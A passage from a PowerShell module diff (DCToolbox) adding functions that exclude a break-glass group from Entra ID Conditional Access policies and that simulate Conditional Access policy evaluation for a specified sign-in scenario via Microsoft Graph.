before running this command. + + You can filter on a name prefix with -PrefixFilter. + + .PARAMETER PrefixFilter + Only modify the policies with this prefix. + + .PARAMETER ExcludeGroupName + The name of your exclude group in Entra ID. Please create the group and add your break glass accounts before running this command. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Add-DCConditionalAccessPoliciesBreakGlassGroup -PrefixFilter 'GLOBAL - ' -ExcludeGroupName 'Excluded from Conditional Access' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '', + + [parameter(Mandatory = $true)] + [string]$ExcludeGroupName + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All', 'Group.Read.All' -Verbose + + + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to exclude the group '$($ExcludeGroupName)' from all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 0) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing exclude group '$ExcludeGroupName'..." + $ExistingExcludeGroup = Get-MgGroup -Filter "DisplayName eq '$ExcludeGroupName'" -Top 1 + + if ($ExistingExcludeGroup) { + Write-Verbose -Verbose -Message "Found group '$ExcludeGroupName'!" + } + else { + Write-Error -Message "Could not find group '$ExcludeGroupName'!" + return + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to modify..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + Write-Verbose -Verbose -Message "Excluding group '$ExcludeGroupName' from '$($Policy.DisplayName)'..." + + # Toggle policy: + $params = @{ + Conditions = @{ + Users = @{ + ExcludeGroups = @( + $Policy.Conditions.Users.ExcludeGroups + "$($ExistingExcludeGroup.Id)" + ) + } + } + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Invoke-DCConditionalAccessSimulation { + <# + .SYNOPSIS + Simulates the Entra ID Conditional Access evaluation process of a specific scenario. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID Conditional Access policies. It then evaluates which policies that would have been applied if this was a real sign-in to Entra ID. Use the different parameters available to specify the conditions. Details are included under each parameter. + + .PARAMETER UserPrincipalName + The UPN of the simulated Entra ID user signing in. Can also be set to 'All' for all users, or 'GuestsOrExternalUsers' to test external user sign-in scenarios. Example: 'user@example.com'. Default: 'All'. + + .PARAMETER JSONFile + Only use this parameter if you want to analyze a local JSON file export of Conditional Access polices, instead of a live tenant. Point it to the local JSON file. Export JSON with Export-DCConditionalAccessPolicyDesign (or any other tool exporting Conditional Access policies from Microsoft Graph to JSON), like 'Entra Exporter'. + + .PARAMETER ApplicationDisplayName + The display name of the application targeted by Conditional Access policies (same display name as in Entra ID Portal when creating Conditional Access policies). Example 1: 'Office 365'. Example 2: 'Microsoft Admin Portals'. Default: 'All'. + + .PARAMETER UserAction + Under construction... + + .PARAMETER ClientApp + The client app type used during sign-in. Possible values: 'browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other'. Default: 'browser' + + .PARAMETER TrustedIPAddress + Specify if the simulated sign-in comes from a trusted IP address (marked as trusted in Named Locations)? $true or $false? Don't specify the actual IP address. That is not really that important when simulating policy evaluation. Default: $false + + .PARAMETER Country + The country code for the sign-in country of origin based on IP address geo data. By default, this script tries to resolve the IP address of the current PowerShell session. + + .PARAMETER Platform + Specify the OS platform of the client signing in. Possible values: 'all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket'. Default: 'windows' + + .PARAMETER SignInRiskLevel + Specify the Entra ID Protection sign-in risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER UserRiskLevel + Specify the Entra ID Protection user risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER SummarizedOutput + By default, this script returns PowerShell objects representing all applied Conditional Access policies only. This can be used for piping to other tools, etc. But sometimes you also want a simple answer of what would happen during the simulated policy evaluation. Specify this parameter to add a summarized and simplified output (outputs to 'Informational' stream with Write-Host). + + .PARAMETER VerbosePolicyEvaluation + Include detailed verbose policy evaluation info. Use for troubleshooting and debugging. + + .PARAMETER IncludeNonMatchingPolicies + Also, include all policies that did not match, and therefor was not applied. This can be useful to produce different kinds of Conditional Access reports. + + .INPUTS + None + + .OUTPUTS + Simulated Conditional Access evaluation results + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + # Run basic evaluation with default settings. + Invoke-DCConditionalAccessSimulation | Format-List + + .EXAMPLE + # Run evaluation with custom settings. + $Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + } + + Invoke-DCConditionalAccessSimulation @Parameters + + .EXAMPLE + # Run basic evaluation offline against a JSON of Conditional Access policies. + Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + #> + + + + # ----- [Initializations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$JSONFile, + + [parameter(Mandatory = $false)] + [string]$UserPrincipalName = 'All', + + [parameter(Mandatory = $false)] + [string]$ApplicationDisplayName = 'All', + + [parameter(Mandatory = $false)] + [string]$UserAction, + + [parameter(Mandatory = $false)] + [ValidateSet('browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other')] + [string]$ClientApp = 'browser', + + [parameter(Mandatory = $false)] + [switch]$TrustedIPAddress, + + [parameter(Mandatory = $false)] + [ValidateLength(2, 2)] + [string]$Country = ((Get-DCPublicIP).country), + + [parameter(Mandatory = $false)] + [ValidateSet('all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket')] + [string]$Platform = 'windows', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$SignInRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$UserRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [switch]$SummarizedOutput, + + [parameter(Mandatory = $false)] + [switch]$VerbosePolicyEvaluation, + + [parameter(Mandatory = $false)] + [switch]$IncludeNonMatchingPolicies + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + $Policies = $null + + if ($JSONFile) { + $Policies = Get-Content -Path $JSONFile | ConvertFrom-Json + + if ($UserPrincipalName -ne 'GuestsOrExternalUsers') { + $UserPrincipalName = 'All' + } + } + else { + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'User.Read.All' -Verbose + + + # Get all existing policies. + Write-Verbose -Verbose -Message "Fetching Conditional Access policies..." + $Policies = Get-MgIdentityConditionalAccessPolicy + } + + + # Set conditions to simulate. + + Write-Verbose -Verbose -Message "Simulating Conditional Access evaluation..." + + $CustomObject = New-Object -TypeName psobject + + + # User. + $UserId = (Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'").Id + + if ($UserId) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value $UserId + } + else { + if ($UserPrincipalName -eq 'GuestsOrExternalUsers') { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'GuestsOrExternalUsers' + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'All' + } + } + + + # Groups. + $Groups = $null + + if ($UserId) { + $Groups = (Get-MgUserTransitiveMemberOf -UserId $UserId).Id + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $Groups + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $null + } + + + #Application. + $AppId = $null + if ($ApplicationDisplayName -eq 'All') { + $AppId = 'All' + } + elseif ($ApplicationDisplayName -eq 'Office 365') { + $AppId = 'Office365' + } + elseif ($ApplicationDisplayName -eq 'Microsoft Admin Portals') { + $AppId = 'MicrosoftAdminPortals' + } + else { + $AppId = (Get-MGServicePrincipal -Filter "DisplayName eq '$ApplicationDisplayName'").AppId + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Application" -Value $AppId + + + # Client App (all, browser, mobileAppsAndDesktopClients, exchangeActiveSync, easSupported, other). + $CustomObject | Add-Member -MemberType NoteProperty -Name "ClientApp" -Value $ClientApp + + + # IP Address. + $CustomObject | Add-Member -MemberType NoteProperty -Name "TrustedIPAddress" -Value $TrustedIPAddress + + + # Country. + if ($Country -eq $null) { + $Country = 'All' + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Country" -Value $Country + + + # Platform (android, iOS, windows, windowsPhone, macOS, linux, all, unknownFutureValue). + $CustomObject | Add-Member -MemberType NoteProperty -Name "Platform" -Value $Platform + + + # Sign-in Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "SignInRiskLevel" -Value $SignInRiskLevel + + + # User Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserRiskLevel" -Value $UserRiskLevel + + + $ConditionsToSimulate = $CustomObject + + + # Show conditions to test. + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message ($ConditionsToSimulate | Format-List | Out-String) } + + + + # Loop through all Conditional Access policies and test the current conditions. + $Result = foreach ($Policy in $Policies) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY EVALUATION: $($Policy.DisplayName)" } + + $CustomObject = New-Object -TypeName psobject + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value $Policy.DisplayName + + $GrantControls = $Policy.GrantControls | Select-Object AuthenticationStrength, Operator, BuiltInControls, TermsOfUse, CustomAuthenticationFactors + + try { + if ($GrantControls.authenticationStrength.id) { + $GrantControls.authenticationStrength = $true + } + else { + $GrantControls.authenticationStrength = $false + } + + $GrantControls = $GrantControls | ConvertTo-Json -Depth 10 + + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + catch { + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "SessionControls" -Value ($Policy.SessionControls | Select-Object ApplicationEnforcedRestrictions, CloudAppSecurity, DisableResilienceDefaults, PersistentBrowser, SignInFrequency | ConvertTo-Json) + + + $PolicyMatch = $true + $UserMatch = $false + $GroupMatch = $false + + + #Enabled + if ($Policy.State -eq 'enabled') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ApplicationFilter + + + # ExcludeApplications: + if ($Policy.Conditions.Applications.ExcludeApplications -contains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: APPLIED' } + } + + + #IncludeApplications + if ($Policy.Conditions.Applications.IncludeApplications -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + elseif ($Policy.Conditions.Applications.IncludeApplications -eq 'none') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Applications.IncludeApplications -notcontains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + + + #IncludeUserActions + # + + + #ClientAppTypes + if ($Policy.Conditions.ClientAppTypes -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + elseif ($Policy.Conditions.ClientAppTypes -notcontains $ConditionsToSimulate.ClientApp) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + + + #DeviceFilter + # + + + #ExcludeLocationsIPAddress + if ($ConditionsToSimulate.TrustedIPAddress) { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + if ($TrustedLocation) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED (JSON mode assumes not excluded)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + + + #ExcludeLocationsCountry + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if ($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile -and $Policy.Conditions.Locations.ExcludeLocations) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED (JSON mode assumes excluded)' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: APPLIED' } + } + } + + + #IncludeLocationsIPAddress + $IncludeLocationsIPAddressMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted' -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + $TrustedLocation = $TrustedLocation | Where-Object { $_ -eq $true } + + if ($TrustedLocation -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: NOT APPLIED' } + $IncludeLocationsIPAddressMatch = $false + } + } + } + + + #IncludeLocationsCountry + $IncludeLocationsCountryMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if ($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: NOT APPLIED' } + $IncludeLocationsCountryMatch = $false + } + } + } + + if ($IncludeLocationsIPAddressMatch -eq $false -and $IncludeLocationsCountryMatch -eq $false) { + $PolicyMatch = $false + } + + + #ExcludePlatforms + if (($Policy.Conditions.Platforms.ExcludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + + + #IncludePlatforms + if (($Policy.Conditions.Platforms.IncludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + + + #SignInRiskLevels + if (($Policy.Conditions.SignInRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.SignInRiskLevels -notcontains $ConditionsToSimulate.SignInRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #UserRiskLevels + if (($Policy.Conditions.UserRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.UserRiskLevels -notcontains $ConditionsToSimulate.UserRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ExcludeGroups + $ExcludeGroupsResult = 'ExcludeGroups: APPLIED' + + if (($Policy.Conditions.Users.ExcludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.ExcludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $ExcludeGroupsResult = 'ExcludeGroups: NOT APPLIED' + break + } + } + } + + if ($ExcludeGroupsResult -eq 'ExcludeGroups: APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + $PolicyMatch = $false + } + + + #IncludeGroups + $IncludeGroupsResult = 'IncludeGroups: NOT APPLIED' + + if (($Policy.Conditions.Users.IncludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.IncludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $IncludeGroupsResult = 'IncludeGroups: APPLIED' + break + } + } + } + + if ($IncludeGroupsResult -eq 'IncludeGroups: NOT APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $true + } + + + #ExcludeGuestsOrExternalUsers + #IncludeGuestsOrExternalUsers + #ExcludeRoles + #IncludeRoles + + + #ExcludeUsers + if ($Policy.Conditions.Users.excludeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $UserMatch = $false + } + elseif ($Policy.Conditions.Users.ExcludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: APPLIED' } + } + + + #IncludeUsers + if ($Policy.Conditions.Users.IncludeUsers -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.includeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.IncludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: NOT APPLIED' } + $UserMatch = $false + } + + + if ($PolicyMatch) { + if ($GroupMatch -or $UserMatch) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: TRUE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + + + $CustomObject + + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message '' } + } + + + Write-Verbose -Verbose -Message "Results..." + + + if ($IncludeNonMatchingPolicies) { + $Result + } + else { + $Result | where Match -eq $true + } + + + if ($SummarizedOutput) { + $Enforcement = @((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $Enforcement += 'authenticationStrength' + } + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $Enforcement += 'termsOfUse' + } + + $CustomControls = ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $Enforcement += $CustomControls + } + + if ($Enforcement -contains 'block') { + $Enforcement = 'block' + } + + Write-Host '' + Write-Host -ForegroundColor Cyan 'Entra ID Sign-In test parameters:' + Write-Host -ForegroundColor Magenta ($ConditionsToSimulate | Format-List | Out-String) + + Write-Host -ForegroundColor Cyan 'Applied Conditional Access policies:' + + $AppliedPolicies = foreach ($Policy in ($Result | where Match -eq $True)) { + $EnforcementPerPolicy = @(($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $EnforcementPerPolicy += 'authenticationStrength' + } + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $EnforcementPerPolicy += 'termsOfUse' + } + + $CustomControls = (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $EnforcementPerPolicy += $CustomControls + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value ($Policy).Policy + + $Operator = ($Policy).GrantControls.Operator + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Operator" -Value ((($Policy).GrantControls | ConvertFrom-Json).Operator) + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Controls" -Value $EnforcementPerPolicy + $CustomObject + } + + Write-Host -ForegroundColor Magenta ($AppliedPolicies | Format-Table | Out-String) + + if (!($AppliedPolicies)) { + Write-Host -ForegroundColor DarkGray 'None' + Write-Host '' + Write-Host '' + } + + Write-Host -ForegroundColor Cyan "Enforced controls:" + + foreach ($Row in ($Enforcement -replace " ", "`n")) { + if ($Row -eq 'block') { + Write-Host -ForegroundColor Red $Row + } + else { + Write-Host -ForegroundColor Green $Row + } + } + + if (!($Enforcement)) { + Write-Host '' + Write-Host -ForegroundColor DarkGray 'No controls enforced :(' + Write-Host '' + } + + Write-Host '' + } + + + Write-Verbose -Verbose -Message "Done!" +} + +function Invoke-DCConditionalAccessSimulationWithDevices { + <# + .SYNOPSIS + Simulates the Entra ID Conditional Access evaluation process of a specific scenario. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID Conditional Access policies. It then evaluates which policies that would have been applied if this was a real sign-in to Entra ID. Use the different parameters available to specify the conditions. Details are included under each parameter. + + .PARAMETER UserPrincipalName + The UPN of the simulated Entra ID user signing in. Can also be set to 'All' for all users, or 'GuestsOrExternalUsers' to test external user sign-in scenarios. Example: 'user@example.com'. Default: 'All'. + + .PARAMETER JSONFile + Only use this parameter if you want to analyze a local JSON file export of Conditional Access polices, instead of a live tenant. Point it to the local JSON file. Export JSON with Export-DCConditionalAccessPolicyDesign (or any other tool exporting Conditional Access policies from Microsoft Graph to JSON), like 'Entra Exporter'. + + .PARAMETER ApplicationDisplayName + The display name of the application targeted by Conditional Access policies (same display name as in Entra ID Portal when creating Conditional Access policies). Example 1: 'Office 365'. Example 2: 'Microsoft Admin Portals'. Default: 'All'. + + .PARAMETER UserAction + Under construction... + + .PARAMETER ClientApp + The client app type used during sign-in. Possible values: 'browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other'. Default: 'browser' + + .PARAMETER TrustedIPAddress + Specify if the simulated sign-in comes from a trusted IP address (marked as trusted in Named Locations)? $true or $false? Don't specify the actual IP address. That is not really that important when simulating policy evaluation. Default: $false + + .PARAMETER Country + The country code for the sign-in country of origin based on IP address geo data. By default, this script tries to resolve the IP address of the current PowerShell session. + + .PARAMETER Platform + Specify the OS platform of the client signing in. Possible values: 'all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket'. Default: 'windows' + + .PARAMETER SignInRiskLevel + Specify the Entra ID Protection sign-in risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER UserRiskLevel + Specify the Entra ID Protection user risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER SummarizedOutput + By default, this script returns PowerShell objects representing all applied Conditional Access policies only. This can be used for piping to other tools, etc. But sometimes you also want a simple answer of what would happen during the simulated policy evaluation. Specify this parameter to add a summarized and 